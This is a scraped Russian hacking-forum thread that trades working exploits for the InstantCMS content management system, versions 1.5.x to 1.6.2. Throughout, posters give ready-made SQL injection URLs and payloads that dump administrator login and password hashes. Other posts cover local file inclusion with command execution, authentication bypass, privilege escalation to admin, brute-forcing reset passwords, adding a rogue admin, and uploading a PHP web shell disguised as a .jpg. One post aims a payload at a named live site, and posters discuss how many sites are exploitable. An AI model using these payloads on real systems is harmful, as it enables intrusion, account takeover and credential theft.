![]() |
InstantCMS
version : 1.5.3 http://www.instantcms.ru/ SQL-INJ : Код:
/admin/index.php?view=components&do=config&id=6&opt=edit&item_id=-1+union+select+1,concat_ws(0x3a,user(),database() ,version()),3,4,5,6+--+ |
InstantCMS
v 1.5.3 SQL Injection Уязвимость в /components/photos/frontend.php PHP код:
передача своего запроса методом POST в http://localhost/?view=photos&do=view. (перед этим надо зарегистрироваться и авторизоваться) P.S. иньекция после order by :( |
InstantCMS
1.5.3 SQL INJ localhost/components/forum/fronted.php PHP код:
Код:
http://localhost/?view=forum&do=newthread&replyid=-29+and+1=1+union+select+1,2,3,4,5,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 FROM cms_users+--+Код:
http://kokshetau.kz/?view=forum&do=newthread&replyid=-29+and+1=1+union+select+1,2,3,4,5,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25%20FROM%20cms_users+--+SQL INJ Требования : доступ к админке. Код:
http://localhost/admin/index.php?view=components&do=config&id=7&opt=edit&item_id=-16+and+1=1+union+select+1,2,3,4,5,6,7,password,9,10,11+from+cms_users+--+ |
InstantCMS
1.5.3 SQL INJ components/users/frontend.php PHP код:
Вы должны быть авторизованы Использование: Код:
<form action="http://localhost/?view=users&do=sendmessage&replyid=-100+and+1=1+union+select+1,2,3,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+cms_users+--+" method="post"> |
InstantCMS
1.5.3 SQL INJ В админке: 1. Код:
http://test1.ru/admin/index.php?view=components&do=config&link=banners&opt=edit&item_id=-100+and+1=1+union+select+1,2,3,4,5,6,7,8,9,10,password,12,13+from+cms_users+--+Код:
http://test1.ru/admin/index.php?view=components&do=config&link=board&opt=edit_cat&item_id=-100+union+select+1,2,3,4,5,6,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+cms_users--+P.S. Раскрытие пути Код:
http://localhost/admin/modules/mod_arhive/backend.php |
Blind SQL-Injection
Blind SQL-Injection
/componets/catalog/fronted.php PHP код:
Код:
POST http://instantcms/catalog/23/1 HTTP/1.0 |
1.5.3
LFI + Eval Code Execution! /admin/includes/cp.php PHP код:
http://instant/admin/index.php?view=cats[lfi] Example: http://instant/admin/index.php?view=cats\..\..\..\..\.htaccess[. т.д] http://instant/admin/index.php?view=cats\..\..\..\..\.htaccess%00 Модуль может быть другой! Условие: - админка; - только \. |
Цитата:
?applet=;system('ls');rand Или там что-то мешает? PS И кстати, да у меня тут хакеры спрашивают WTF??? $link= str_replace('/', '', $GLOBALS['applet']); а потом view=cats\..\..\..\..\.htaccess Выкладывай весь необходимый код, ибо нихрена не понятно |
Цитата:
/admin/index.php PHP код:
|
Просто Джокестр,не смотрел код, там в индексе
PHP код:
|
Blind Sql inj v.1.5.3
index.php PHP код:
PHP код:
PHP код:
PHP код:
Надо : /includes/config.inc.php PHP код:
В даном случае будет такое вот сообщение: Цитата:
- включена переменная сбора статистики (лучше когда еще и отладки!); - бегать по разным страницам || с разных ИП; - mg=off. Jokester : Где эксплуатация? |
Вот она:
в User_Agent: hack', (select * from (select name_const((select concat_ws(':',login,password) from cms_users limit 0,1),1),name_const((select concat_ws(':',login,password) from cms_users limit 0,1),1))x))/* Цитата:
|
123
Релиз версии 1.6
22 апреля 2010
|
InstantCMS <=== 1.5.3 LFI
Выкладываю свою прошлогоднюю, но интересную находку. В последней недавней версии дыра залатана PHP код:
Как юзать: передаем item_id, чтобы не вызвать die и evil file через target. далее можно залить "картинку" в профиле и сделать инклуд. http://localhost/components/rssfeed/frontend.php?item_id=1&target=evilfile%00 Для удобства написал сплоент дающий выполнение системных команд через LFI. Работает безотказанно =) CODE EXECUTION Код:
#!/usr/bin/perl |
2Strilo4ka
Цитата:
|
Цитата:
|
Еще раз возвращаемся к єтой CMS. |
0day минуточку внимания. Instant cms. Множественные sql инъекции Применимо:Для всех версии(на сегодня последняя 1.6). Sql inj много как в insert, как в Update так и в select запросах. Рассмотрим одну из них, повкуснее, для которой не требуется ни RG=ON не MQ=off!!! Постараюсь рассказать процесс и его суть в точности как он проходил у меня идем в раздел блогов, новостей или статей. Выбираем произвольный блог статью или новость. Я выбрал новость. Под новостью приведена вставка модуля голосования. Тыкаем на кнопочку "Одобрить". И снифаем пакет. Получилось: Код:
POST /core/ajax/karma.php HTTP/1.0вот са фак: Сорри. Забегу вперед. С этими переменными мы будем иметь дело, код говорит нам о ненужности RG. /core/ajax/karma.php PHP код:
PHP код:
/core/cms.php PHP код:
$inCore->loadLib('karma'); подгрузит нам: /core/lib_karma.php Значит что тут. /core/lib_karma.php PHP код:
Вернемся к нашему отснифаному пакету. И модифицируем его так: Код:
POST /core/ajax/karma.php HTTP/1.0Код:
POST /core/ajax/karma.php HTTP/1.0По причине фильтра POST данных переопределяем item_id через куки. Как и для прошлой уязвимости. Для удобства написал эксплойт. Но пока я похраню его у себя, чуть позже выложу. В паблик пока не солью, пробиваемость сайтов с гугла высокая. Пишите сами или юзайте там где можно Duplicate column метод. Большое послесловие. Как я и говорил sql инж очень много. Завязывается все вокруг $target и $item_id. Фкнкции из файла lib_karma.php используются много где не только в karma.php. lib.karma.php PHP код:
Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ($item_id, $points, '$ip', '$target', $id, NOW())Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW())Код:
INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES (1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2)), $points, '$ip', '$target', $id, NOW()) |
sql inj "Админский зл0й баннер"Уязвимы все версии. Не такая полезная бага, чем те, которые я постил выше, она пригодится если уязвимости выше залатаны, и удалось попасть в админкую. NEEED's =) Права админа MQ=off Заходим. Админка=>Компоненты=>баннер ы. Запрос добавления злых админских баннеров следующий: Код:
INSERT INTO cms_banners (position, typeimg, fileurl, hits, clicks, maxhits, maxuser, user_id, pubdate, title, link, published)смотрим тайп. Field:link Type:varchar(250) этот столбец нам подходит. В него и будем писать злой запрос. Заполняем форму, выбираем картинку только Забиваем в название баннера следующую шляпу: Код:
1111', (select concat(login,0x3a,password) from cms_users where group_id=2),'1') #Код:
INSERT INTO cms_banners (position, typeimg, fileurl, hits, clicks, maxhits, maxuser, user_id, pubdate, title, link, published)'ссылка баннера' наблюдаем подобную картину: Код:
admin:5f4dcc3b5aa765d61d8327deb882cf99 |
a
XSS для разнообразия XSS .у этой цмс к хсс прям какой-то иммунитет. Но все же лазейка нашлась. по сути. Свежайшая xss. Заключается в "щедящей" обработке файлов залитых юзером. Идем в Профиль=>Content=>Файлы. Видим, что можно лить всяко-разные файлы. Единственное интересное расширение, которое поддерживает эта заливалка-это .htm. Ну вот собственно мы и зальем htm файл с evil JS кодом. Который потом вежливо выполняется. что есть: [+] Сессия генерируется из login'a и password'a. [+]Сессия очень живучая(пока вражеский админ не сделает logout). [+]Файл на сервере выглядить безобидно. А значит Впарить ссылку на него не трудно. [+] сессия постоянная см п1 . Значит использовать можно неоднократно. [+] на момент написания уязвимы все версии движка. [-] Как не крути а xss пассивная. |
sql inj instantCMS <== 1.5.3 Need:mq=off как раньше писал в этой цмс почти все фильтруется, что передается методом post, код усеян регулярками. Но есть одна особенность. Все это хорошо конечно, но фильтр пропускает 1) \ 2) " Вследствии чего даже обычный юзер по ошибке может вызвать ошибку бд. Допустим запостив на форуме пост оставив на конце \ ошибка есть, но толку нет, insert запросы никак не закрыть т.к '(одинарная кавычка) обрабатывается фильром и заменяется на `(апостроф). Ближе к делу. Рассмотрим скрипт регистрации юзеров. /components/registration/frontend.php PHP код:
PHP код:
$nickname Окружена двойными кавычками, они не трогаются фильтрами поэтому. вбиваем d поле никнейм следующую шляпу. Код:
1" and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))=1,1,(select 1 union select 2))#P.S. переменная $email, проверяется только на регулярку через eregi(). Поставил старую версию php и начал Травить я его ядовитым нулл байтом. ничего хорошего не вышло. только ошибка в бд... байт чего-то синтаксис портит нехило. С этого момента после нахождения мной уязвимости в этой кмс, о ней будет информирован разработчик. |
InstantCMS v1.5.3 © 2009
Примечание: Там очень много SQL Inj, но, долбанное ЧПУ недаёт свободу! :( |
Переустановка пароля админа и угадывание его Уязвимы все версии.Для эксплуатации нужно: Админское мыло(по умолчанию отображается в профиле) много времени. В чем суть: /components/registration/frontend.php PHP код:
1) Проверяет есть ли мыльник в бд. 2) Скрипт не церемонясь присваивает значение паролю равному первым шести символам хеша от значения, которое генерирует функция microtime(). Код:
Функция microtime() возвращает текущую метку времени с микросекундами. Эта функция0.xxxxxx00 [1273589840] где xxxxxx-доли секунды то что в квадратных скобках-это количество секунд, прошедших с начала Эпохи Unix. Как юзать уязвимость: Отсылаем запрос на восстановление пароля и сниффаем пакет. смотрим в ответе на запрос дату. Там что-то вроде. Tue, 11 May 2010 20:39:23 GMT узнаем на локальной машине сколько прошло с момента 1970, 00:00:00 GMT. 2) А вот микросекунды придется брутить, их мы никак не узнаем. Список создаем вида 0.xxxxxx00 [время в секундах прошедшее от момента "Unix" до момента отправки запроса на восстановление пароля] пример: 0.30001200 1273589840 всесто xxxxxx вставляем все возможные комбинации из цифр, их 1 млн. Затем преобразуем их к виду. substr(md5(значение), 0, 6) возвращаем мд5 каждого получившегося значения и отрезаем от хеша символы после шестого знака. Пример: 1a512b Получился словарь 1млн слов. Один из этих слов-сгенерированный пассворд. Брутим веб форму. У меня на дедике многопоточный брут дает до 11 ппс. 1000000/11=90.909 - то есть в худшем случае пароль мы узнаем через сутки. Геморно, а че поделать. На количество попыток залогиниться ограничений не стоит в форме авторизации. P.S. Оказывается секунда-это много. Этот баг не яркий пример приятной эксплуатации. Но все же он ведет к успеху. Т.К. В сгенерированном большом словаре 100% содержится правильный пассворд. И если ничего не остается, как вариант можно юзать. Нарушение криптостойкости паролей еще этот баг открывает новую опасность. Сгенерированный пароль сразу попадает в бд. Что это дает? Допустим стянул ты пароль админа через sql inj. А он не расшифровывается, пароль трудный. Что мы делаем:1) Переустанавливаем пароль той же фичей. Напоминаю пароль состоит из 6 символов, которые являются цифрами или буквами. 2) Стягиваем через sql inj md5 и расшифровываем уже сгенерированный пароль. (думаю пароль из 6 символов [букв и цифр] расшифровать не трудно) все Видео с примером использования уязвимости: https://forum.antichat.ru/threadedpost2138119.html#post2138119 |
instantCMS 1.5.3
Blind SQL Inj. Вывода ошибок нету. Как хотите так и крутите :D Я включил себе вывод ошибок. Цитата:
PHP код:
|
Опачки. Ещё Blind.
Instant CMs 1.5.3 Цитата:
Выведиться весь контент, НУ вы понеле кароче! // /components/rssfeed/frontend.php?target=content&item_id=-1+OR+id=IF(ASCII((SELECT+USER()))%3E=114,1,0)%20-- Так даже удобнее ^_^ |
InstantCMS <==1.5.1 Внедерение sql кода Добавляем админа
Иногда бывают моменты, когда нет смысла искать уязвимость, чисто потому что разработчик продукта сам ее нашел за вас =))) Уязвимость была найдена методом сравнения нового дистрибутива и старого. В результате было найдено много багов в старых дистрибутивах. Самый вкусный выкладываю. файл /core/ajax/dumper.php Этот скрипт по идее создан для админа, но пускает и простых юзеров. Суть значит в чем? Он экспортит, импортит бд и удаляет бэкапы. С экспортом бд ничего хорошего сказать не могу. На локалхосте робит, на некоторых сайтах работать отказывается. Но нам он и не нужен. Мы будем добавлять админа через import PHP код:
/includes/dbimport.inc.php PHP код:
Значит как юзать. 1) Тупо шлем пакет: Код:
POST /core/ajax/dumper.php HTTP/1.0id:666 login:hacker password : password (md5) email: yIIIaCTbIu_JIaMep@JIaMep.ru 2)Для консерваторов: Код:
</html> |
Цитата:
Цитата:
http://gyazo.com/a25962db7b4ad1c6874a15d3c757e57d.png :o |
Цитата:
Цитата:
Код:
SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1Дело в то, что Тут другой запрос. Твой не имеет совершенно никакого отношения к баге. Результат: Кривой Эксплойт. Суть этой скули в следующем. Проследим и ОЧЕНЬ подробно по запчастям разберемся в работе скрипта. Так как тут очень много переходов по файлам. /components/rssfeed/frontend.php PHP код:
/core/cms.php. вот она PHP код:
Инклудится /components/content/prss.php смотрим что в нем PHP код:
/core/cms.php и смотрим, что делает функция dbGetFields() /core/cms.php PHP код:
dbGetFields( 'cms_category', 'id='.$item_id, 'id, title, description, NSLeft, NSRight') Шаблонный вид ($table, $where, $fields, $order='id ASC') как видно функция генерирует запрос $sql = "SELECT $fields FROM $table WHERE $where ORDER BY $order"; первое значение $table='cms_category' второе значение. $where='id='.$item_id $fields='id, title, description, NSLeft, NSRight' ну и $order='id ASC', который уже задан в функции. Теперь подставляем значения смотрим какой запрос нам сгенерирует функция. Код:
SELECT id, title, description, NSLeft, NSRight FROM cms_category WHERE id=$item_id ORDER BY id ASCДалее что делает функция. dbGetFields $inDB->num_rows($result) $result = $inDB->query($sql) $data = $inDB->fetch_assoc($result); функции query() и fetch_assoc() вызовутся так: вернемся в fronted.php смотрим строчку $inCore->loadClass('db'); loadClass() объявляется в cms.php PHP код:
PHP код:
PHP код:
PHP код:
если num_rows() ничего тебе не вернет, то дело до fetch_assoc() не дайдет, функция вернет false. А вытекающее следующее. вместо вывода ты получишь: frontend.php PHP код:
num_rows() должен вернуть не пустое значение. exploit components/rssfeed/frontend.php? Код:
target=content&item_id=[id существующей категории]+union+select+1,concat_ws(0x3a,user(), database(),version()),3,4,5+--+вот такая система работы. Никаких 4,14 не нужно. а ведь хорошая уязвимость =) даже mq = off не требуется. |
Цитата:
А вообще. PHP код:
PHP код:
v 1.5.3 |
Цитата:
PHP код:
|
Кхм странно...
У тя версия какая? Просто у меня 1.5.3 |
Я тестил на 1.5.3. Да все верно на 1.6.1 эта бага залатана вроде как. Закроем глаза на target_id.
Разберемся с запросом. Нагуляляся по функциям. В итоге ты в этот запрос инжектил? Код:
SELECT id, title, description, NSLeft, NSRight FROM cms_category WHERE id=$item_id ORDER BY id ASCДругая поправка. если ты укажешь в item_id существующий id, то ты железно получишь вывод причину описал выше. Иначе есть риск запороть вывод. Проверь, убедись. |
Ну вчера же вывелось всё равно, в код вмешательств небыло :)
Мистика... |
LFI InstantCMS <===== 1.5.1
Nees: mq=off index.php PHP код:
PHP код:
Код:
Index.php?view=[LFI]%00 |
УРА! Вышла стабильная версия instantCMS 1.6.2, в которой разработчики полатали все выложенные тут баги, но у меня была цель найти еще баг именно в этой версии, что из этого вышло смотрим ниже.
0day. Повышаение прав в cms до админа InstantCms <===1.6.2 (обход фильтра) Как видно из названия, мы можем из простого юзера попасть в админа. Need MQ=off редактирование профиля: /users/frontend.php PHP код:
' (Кавычка) \' (слеш+одинарная кавычка) \" (слеш+двойная кавычка) "(двойная кавычка) насчет 2 и 3 я честно сказать не понял, что разработчики хотели этим мне доказать? давайте обратим внимание на этот запрос. Код:
$sql = "UPDATE cms_users В этой таблице есть столбец отвечающий за группу пользователя: group_id Если она установлена на 1-то наш пользователь-юзер если 2-пользователь админ. Здесь нам интересны $icq, $nickname. $email не интересен, так как он через регулярку проходит. $id-id юзера, у которого мы меняем данные. Ну и как же нам внедрить себя в этот запрос с учетом вышеуказанного фильтра? ЭЛЕМЕНТРАРНО! В поле ваше имя вбиваем: group_id=2 #\ В поле ICQ Вбиваем: 333s \ соответственно $icq=333s \ ; $nickname=group_id=2 #\ Давайте посмотрим, что у нас получилось. Код:
$sql = "UPDATE cms_users АГА. Жареным пахнет. Мы заэкранировали кавычку и вышли в запрос, и закрыли icq мы открывающей кавычкой От nickname и дописали доболнительное значение group_id=2. После выполнения наш юзер, которому мы меняли данные примет group_id=2 и чудесным образом превратится в админа. Вот такая вот интересная бага была найдена в новой версии instantCMS Видео к теме: Код:
https://forum.antichat.ru/showthread.php?p=2145955#post2145955 |
Опять зиро дэй
Auth0r1zat1oN byPass InstantCMS<=== 1.6.2 Need: mq=off Не буду нагромождать лишним кодом. Запрос для авторизации следующий: PHP код:
' (Кавычка) [Реплейсится в `(апостроф)] легко понять, что этого мало. Как юзать: В поле логин пишем: matrix\ в поле пароль пишем: or id=1#\ У нас получится: Код:
SELECT * в результате логин закрылся кавычкой от password и синтаксис не нарушился. примечание: id-айди пользователя под которым мы хотим залогиниться. Вот так мы байпаснули авторизацию. Разработчик о баге и о наличии супер функции mysql_real_escape_string() оповещен. |
УРА! Вышли заплатки на новую версию. Версию instantCMS. Захотел покурить php код вот что получилось
InstantCMS <==1.6.2(2) sql injection (insert) MQ=off /components/frontend.php PHP код:
$title $description пропускают \ Как это заюзать создаем на форуме топик Название:matr1x\ Описание: , (select concat(login,0x3a,password) from cms_users where id=1),1,1,1)# Мы получаем Код:
"INSERT INTO cms_forum_threads (forum_id, user_id, title, description, icon, pubdate, hits)Теперь идем в список топиков и наблюдаем свой топик в описании которого что-то на подобии Код:
admin:5f4dcc3b5aa765d61d8327deb882cf99сообщение для разработчика: r2, привет =))) |
InstantCMS 1.6.2 File upload Тащим свой зад на форму аплоада файлов Код:
http://localhost/users/ваш id/addfile.htmlPHP код:
Код:
addhandler application/x-httpd-php jpgШелленг загрузится в http://localhost/upload/userfiles/[ваш ид]/[имя шелла].jpg и будет выполняться. |
| Время: 19:25 |